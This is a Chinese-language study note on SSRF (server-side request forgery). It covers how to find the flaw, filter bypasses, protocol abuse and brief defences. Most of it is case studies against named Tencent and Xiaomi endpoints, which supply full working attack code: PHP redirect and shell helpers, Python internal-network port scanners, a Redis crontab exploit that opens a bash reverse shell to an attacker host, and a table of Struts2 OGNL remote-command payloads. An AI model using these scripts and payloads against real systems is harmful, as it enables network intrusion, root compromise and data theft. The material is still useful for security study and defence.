SSRF漏洞学习
0x00 什么是SSRF
SSRF漏洞寻找内网入口,是突破内网的一个方法。
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
0x01 这类漏洞常出现在哪里
从web功能上寻找:
1、 分享:通过url地址分享网页内容
http://www.***.com/***?resourceUrl=https://www.sobug.com
通过目标URL地址获取了title标签和相关文本内容。而如果在此功能中没有对目标地址的范围做过滤与限制,则就存在着SSRF漏洞
2、 转码:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3、 在线翻译:通过URL地址翻译对应文本的内容
4、 图片加载与下载:通过URL地址加载或下载图片
5、 图片、文章收藏功能
6、未公开的api实现以及其他调用URL的功能
从URL关键字寻找:
share、wap、url、link、src、source、target、u、3g、
display、sourceURl、imageURL、domain...
0x02 漏洞验证,使用排除法
排除法一:
http://www.XXXXX.com/***/service?image=http://www.baidu.com/img/bd_logo1.png
你可以直接右键图片,在新窗口打开图片,如果是浏览器上URL地址栏是http://www.baidu.com/img/bd_logo1.png,说明不存在SSRF漏洞。
排除法二:
你可以使用burpsuite等抓包工具来判断是否不是SSRF,首先SSRF是由服务端发起的请求,因此在加载图片的时候,是由服务端发起的,所以在我们本地浏览器的请求中就不应该存在图片的请求,在此例子中,如果刷新当前页面,有如下请求,则可判断不是SSRF。(前提设置burpsuite截断图片的请求,默认是放行的)
firebug看网络连接信息,若没有http://www.baidu.com/img/bd_logo1.png
这个图片请求,则证明图片是豆瓣服务端发起的请求,则可能存在SSRF漏洞。
0x03 绕过过滤
有时漏洞利用时会遇到IP限制,可用如下方法绕过:
* 使用@:http://A.com@10.10.10.10 = 10.10.10.10
* IP地址转换成十进制、八进制:127.0.0.1 = 2130706433
* 使用短地址:http://10.10.116.11 = http://t.cn/RwbLKDx
* 端口绕过:ip后面加一个端口
* xip.io:10.0.0.1.xip.io = 10.0.0.1
www.10.0.0.1.xip.io = 10.0.0.1
mysite.10.0.0.1.xip.io = 10.0.0.1
foo.bar.10.0.0.1.xip.io = 10.0.0.1
* 通过js跳转
0x04 通用的SSRF实例
* weblogin配置不当,天生ssrf漏洞
* discuz x2.5/x3.0/x3.1/x3.2 ssrf漏洞
* CVE-2016-1897/8 - FFMpeg
* CVE-2016-3718 - ImageMagick
0x05 SSRF漏洞的防御
攻击者利用SSRF可以实现的攻击主要有3种:
1、获取web应用可达服务器服务的banner信息以及收集内网web应用的指纹识别,如开放的端口,中间件版本信息等。
2、攻击运行在内网的系统或应用程序,获取内网各系统弱口令进行内网漫游、对有漏洞的内网web应用实施攻击获取webshell,如st2命令执行、discuz ssrf通过redis实施getshell等。
3、利用有脆弱性的组件结合ftp://,file:///,gopher://,dict://等协议实施攻击。如FFmpeg任意文件读取,xxe攻击等。
http://192.168.163.150/test.php?url=file:///etc/passwd 获取敏感文件的信息
基本协议格式:URL:gopher://<host>:<port>/<gopher-path> 参考:https://blog.chaitin.cn/gopher-attack-surfaces/
http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info 获取mysql版本信息
有什么好的方式检测正在实施的SSRF攻击呢?
SSRF是含有一定特征性的,一般一个接口,异常的请求内网IP,在日志系统中都有记录,且很可能是连续性的,因为他要猜测,所以在一定时间段会有明显的请求量。你可以通过这个特征去做初步判断。
防御SSRF的必要性?
企业对安全的防护往往针对于外网,相对于外网,内网的安全一般做得比较鸡肋,而SSRF漏洞正好为外网与内网之间打开了大门,让原本看似固若金汤的防护瞬间崩塌,为企业和个人带来了巨大的危害,轻则导致内网服务器及系统相关敏感信息泄漏,重则导致内网漫游,结合其它漏洞获取内网系统webshell以及进行内网渗透,敏感数据被窃取。
如何防御SSRF呢?
1、过滤返回信息,验证远程服务器对请求的响应是比较容易的方法;
2、统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态;
3、限制请求的端口为http常用的端口,比如,80,443,8080,8090;
4、黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网;
5、禁用不需要的协议。仅允许http和https请求;
6、使用正则对参数进行效验,防止畸形请求绕过黑名单。
0x06 案例学习
一、猪猪侠SSRF利用学习
版权声明:转载请注明来源 猪猪侠@乌云
wooyun-2016-0215779 小米某处SSRF漏洞(可内网SHELL 附多线程Fuzz脚本)
wooyun-2016-0215419 腾讯某处SSRF漏洞(非常好的利用点)附利用脚本
# 1 漏洞信息
> SSRF利用点,参数: url
> http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://wuyun.org
# 2 服务端回显
当从ssrf利用点发起一个远程请求,如果url资源存在,且MIME类型为HTML,服务端的脚本会分析出HTML页面内的title、img 等等资源,返回给客户端。如果MIME是其它类型,将直接返回原文。
## 例1 请求远程服务器的22端口,直接回显OpenSSH的banner信息
[root@localhost wyssrf]# curl 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://fuzz.wuyun.org:22' {"ret":0,"data":{"type":1,"title":"SSH-2.0-OpenSSH_5.3..."}}
## 例2 请求远程服务器的80端口,回显HEAD和图片资源
[root@localhost wyssrf]# curl 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://www.baidu.com' {"ret":0,"data":{"type":2,"pics":["http:\/\/www.baidu.com\/img\/baidu_sylogo1.gif"],"title":"\u767e\u5ea6\u4e00\u4e0b\uff0c\u4f60\u5c31\u77e5\u9053"}}
## 例3 请求不存在的服务器或未开放的端口
[root@localhost wyssrf]# curl 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://fuzz.wuyun.org:8888' {"ret":1}
# 3 利用场景
Loction 302跳转辅助脚本 [302.php]
<?php $ip = $_GET['ip']; $port = $_GET['port']; $scheme = $_GET['s']; $data = $_GET['data']; header("Location: $scheme://$ip:$port/$data"); ?>
getshell辅助脚本[shell.php]
<?php $ip = $_GET['ip']; $port = $_GET['port']; $bhost = $_GET['bhost']; $bport = $_GET['bport']; $scheme = $_GET['s']; header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?>
# 4 服务端支持协议
## Dict协议 -> dict://fuzz.wuyun.org:8080/helo:dict
/302.php?s=dict&ip=fuzz.wuyun.org&port=8080&data=helo:dict
[root@localhost wyssrf]# nc -l -vv 8080 Connection from 113.108.10.15 port 8080 [tcp/webcache] accepted CLIENT libcurl 7.15.1 helo dict QUIT
## Gopher协议 -> gopher://fuzz.wuyun.org:8080/gopher
/302.php?s=gopher&ip=fuzz.wuyun.org&port=8080&data=gopher
[root@localhost wyssrf]# nc -l -vv 8080 Connection from 113.108.10.16 port 8080 [tcp/webcache] accepted GET /gopher HTTP/1.1 Host: 106.75.199.107:8080 Accept: */*
## File协议 -> file:///etc/passwd
这里需要一个辅助脚本
<?php header("Location: file:///etc/passwd"); ?>
服务器请求302跳转,直接读取到服务器本地文件
[root@localhost wyssrf]# curl 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://fuzz.wuyun.org/file.php' {"ret":0,"data":{"type":1,"title":"root:x:0:0:root:\/root:\/bin\/bash bin:x:1:..."}}
## 综上所述得出结论
从回显结果可以判断服务端的curl为低版本的 7.15.1,支持dict,ftp,gopher,dict等协议
[root@localhost wyssrf]# curl -V Protocols: tftp ftp telnet dict gopher ldap ldaps http file https ftps scp sftp
二、猪猪侠利用SSRF漏洞实现内网getshell
# 1 发现漏洞+漏洞检验
首先是漏洞检验,找到漏洞的位置,当给message传参去访问外网的时候,响应速度快说明存在漏洞。
http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?data=helo.jpg[/img]
SSRF作用协议与服务器支持的协议有关,一般有dict、ftp、http协议
例如这一句:对服务器进行访问
http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?s=dict%26ip=fuzz.wuyun.com%26port=8080%26data=helo.jpg[/img]
此外要做到内网探测还需要知道内网地址,猪猪侠这里就是通过info.php获取到的
# 2 内网服务探测规则原理分析
http://fuzz.wuyun.com/302.php?url=dict://10.105.44.71:8080
访问存在开放的8080端口,网页在1s内加载完成
http://fuzz.wuyun.com/302.php?url=ftp://10.105.44.71:8080
利用ftp协议访问开放的8080端口,网页保持Keep-Alive状态,直到出发nginx的超时
http://fuzz.wuyun.com/302.php?url=dict://10.105.44.71:11011
访问不存在的端口11011,触发了小米的nginx的超时, 3.1s内加载完成
也就是说,我们可以通过页面加载完成时间,来探测内网开放的端口服务
# 3 形成内网探测脚本
通过python的requests,设置一个timeout值,只要http请求2.8秒内没有响应,直接断开,如果成功响应,就说明端口开放
#!/usr/bin/env python # encoding: utf-8 # email: ringzero@0x557.org import requests import time import requests.packages.urllib3 requests.packages.urllib3.disable_warnings() import threading import Queue threads_count = 20 scheme = 'dict' port = '6379' ip_block = '10.105' class WyWorker(threading.Thread): def __init__(self,queue): threading.Thread.__init__(self) self.queue = queue def run(self): while True: if self.queue.empty(): break try: url = self.queue.get_nowait() content = requests.get(url, timeout=2.8).content print url, 'OPEN', len(content) except requests.exceptions.ReadTimeout: pass except requests.exceptions.ConnectTimeout: pass except Exception, e: break queue = Queue.Queue() for c in xrange(0,255): for d in xrange(0,255): ip = '{0}.{1}.{2}'.format(ip_block,c,d) payload = 'http://fuzz.wuyun.com/302.php?s={scheme}%26ip={ip}%26port={port}%26data=helo.jpg'.format( scheme=scheme, ip=ip, port=port ) url = "http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]{payload}[/img]".format( payload=payload) queue.put(url) threads = [] for i in xrange(threads_count): threads.append(WyWorker(queue)) for t in threads: t.start() for t in threads: t.join()
另外猪猪侠还提到了一直探测方式,利用协议访问,返回的页面内容的长度不为9则是服务是开放的。
针对固定的10.网络 B段、C段进行遍历探测
#!/usr/bin/env python # encoding: utf-8 # email: ringzero@0x557.org import requests import time import random port = '80' # fuzz local C for c in xrange(0,255): for d in xrange(0,255): ip = '10.133.{0}.{1}'.format(c,d) payload = 'http://{ip}:{port}/'.format(ip=ip,port=port) url = 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url={payload}'.format( payload=payload) # len({"ret":1}) == 9 if len(requests.get(url).content) != 9: print ip, port, 'OPEN', requests.get(url).content
随机针对内网10.网段进行探测
#!/usr/bin/env python # encoding: utf-8 # email: ringzero@0x557.org import requests import time import random port = '80' # random fuzz local ip while True: ip = '10.{0}.{1}.{2}'.format(random.randint(1, 254),random.randint(1, 254),random.randint(1, 254)) payload = 'http://{ip}:80/'.format(ip=ip) url = 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url={payload}'.format( payload=payload) # len({"ret":1}) == 9 if len(requests.get(url).content) != 9: print ip, port, 'OPEN', requests.get(url).content
# 4 使用dict协议进行远程利用与分析
#!/usr/bin/env python # coding=utf-8 import requests host = '10.105.0.23' port = '6379' bhost = 'fuzz.wuyun.com' bport = '443' vul_httpurl = 'http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]' _location = 'http://fuzz.wuyun.com/302.php' shell_location = 'http://fuzz.wuyun.com/shell.php' #1 flush db _payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print len(requests.get(exp_uri).content) #2 set crontab command _payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format( host = host, port = port, bhost = bhost, bport = bport) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(shell_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print len(requests.get(exp_uri).content) #3 config set dir /var/spool/cron/ _payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print len(requests.get(exp_uri).content) #4 config set dbfilename root _payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print len(requests.get(exp_uri).content) #5 save to file _payload = '?s=dict%26ip={host}%26port={port}%26data=save'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print len(requests.get(exp_uri).content)
上面是猪猪侠的源码,下面我将源码提取出来分析一下
#1 flushdb Redis FLUSHALL 删除所有现有的数据库,而不仅仅是当前选择的一个的键。此命令不会失败。 http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?s=dict&ip={host}&port={port}&data=flushall#helo.jpg[/img] header("Location: dict://$ip:$port/flushall#helo.jpg[/img]"); #2 set crontab command 设置反弹shell语句 http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/shell.php?s=dict&ip={host}&port={port}&bhost={bhost}&bport={bport}#helo.jpg[/img] header("Location: dict://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/fuzz.wuyun.com/443\\x200>\\x261\\x0a\\x0a\\x0a\""); #3 config set dir /var/spool/cron/ 设置计划任务 http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?s=dict&ip={host}&port={port}&data=config:set:dir:/var/spool/cron/#helo.jpg[/img] header("Location: dict://$ip:$port/$data"); #4 config set dbfilename root 获取root权限 http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?s=dict&ip={host}&port={port}&data=config:set:dbfilename:root#helo.jpg[/img] header("Location: dict://$ip:$port/config:set:dbfilename:root#helo.jpg[/img]"); #5 save to file 保存 http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?s=dict&ip={host}&port={port}&data=save#helo.jpg[/img] header("Location: dict://$ip:$port/save#helo.jpg[/img]");bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
# 整理后的利用语句
利用redis写定时任务获取root权限
flushall set 1 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n" config set dir /var/spool/cron config set dbfilename root save
# 成功获取到SHELL后的操作
[root@localhost wyssrf]# nc -l -vv 443 [root@lg-sec-weblog01 ~]# id [root@lg-sec-weblog01 ~]# /sbin/ifconfig -a [root@lg-sec-weblog01 ~]# last -20 [root@lg-sec-weblog01 ~]# rm /var/spool/cron/root
# 5 Struts2 命令执行规则表
Struts2 -- 032 ping s2032.struts.99fd5e.dnslog.info GET /?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=ping%20s2032.struts.99fd5e.dnslog.info&pp=%5CA&ppp=%20&encoding=UTF-8 Struts2 -- 019 ping s2019.struts.99fd5e.dnslog.info /?debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),#req=@org.apache.struts2.ServletActionContext@getRequest(),#resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ping','s2019.struts.99fd5e.dnslog.info'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[10000],#d.read(#e),#resp.println(#e),#resp.close() Struts2 -- 016 ping s2016.struts.99fd5e.dnslog.info /index.action?redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%20%7B'ping','s2016.struts.99fd5e.dnslog.info'%7D)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader%20(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23matt%3d%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println%20(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D Struts2 -- 013 ping s2013.struts.99fd5e.dnslog.info /?a=1${(%23_memberAccess["allowStaticMethodAccess"]=true,%23a=@java.lang.Runtime@getRuntime().exec('ping s2013.struts.99fd5e.dnslog.info').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[50000],%23c.read(%23d),%23sbtest=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23sbtest.println(%23d),%23sbtest.close())} Struts2 -- 009 ping s2009.struts.99fd5e.dnslog.info /?class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+java.lang.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ping s2009.struts.99fd5e.dnslog.info%27%29.getInputStream%28%29%2c%23b%3dnew+java.io.InputStreamReader%28%23a%29%2c%23c%3dnew+java.io.BufferedReader%28%23b%29%2c%23d%3dnew+char[50000]%2c%23c.read%28%23d%29%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23sbtest.println%28%23d%29%2c%23sbtest.close%28%29%29%28meh%29&z[%28class.classLoader.jarPath%29%28%27meh%27%29] Struts2 -- 005 ping s2005.struts.99fd5e.dnslog.info /?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ping s2005.struts.99fd5e.dnslog.info\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))
# 6 修复方案:
1、更新补丁
2、SSRF所在服务器,iptables禁止访问内网资源
0x07 参考链接:
http://bobao.360.cn/learning/detail/240.html
https://www.jianshu.com/p/ad7b8079e0d5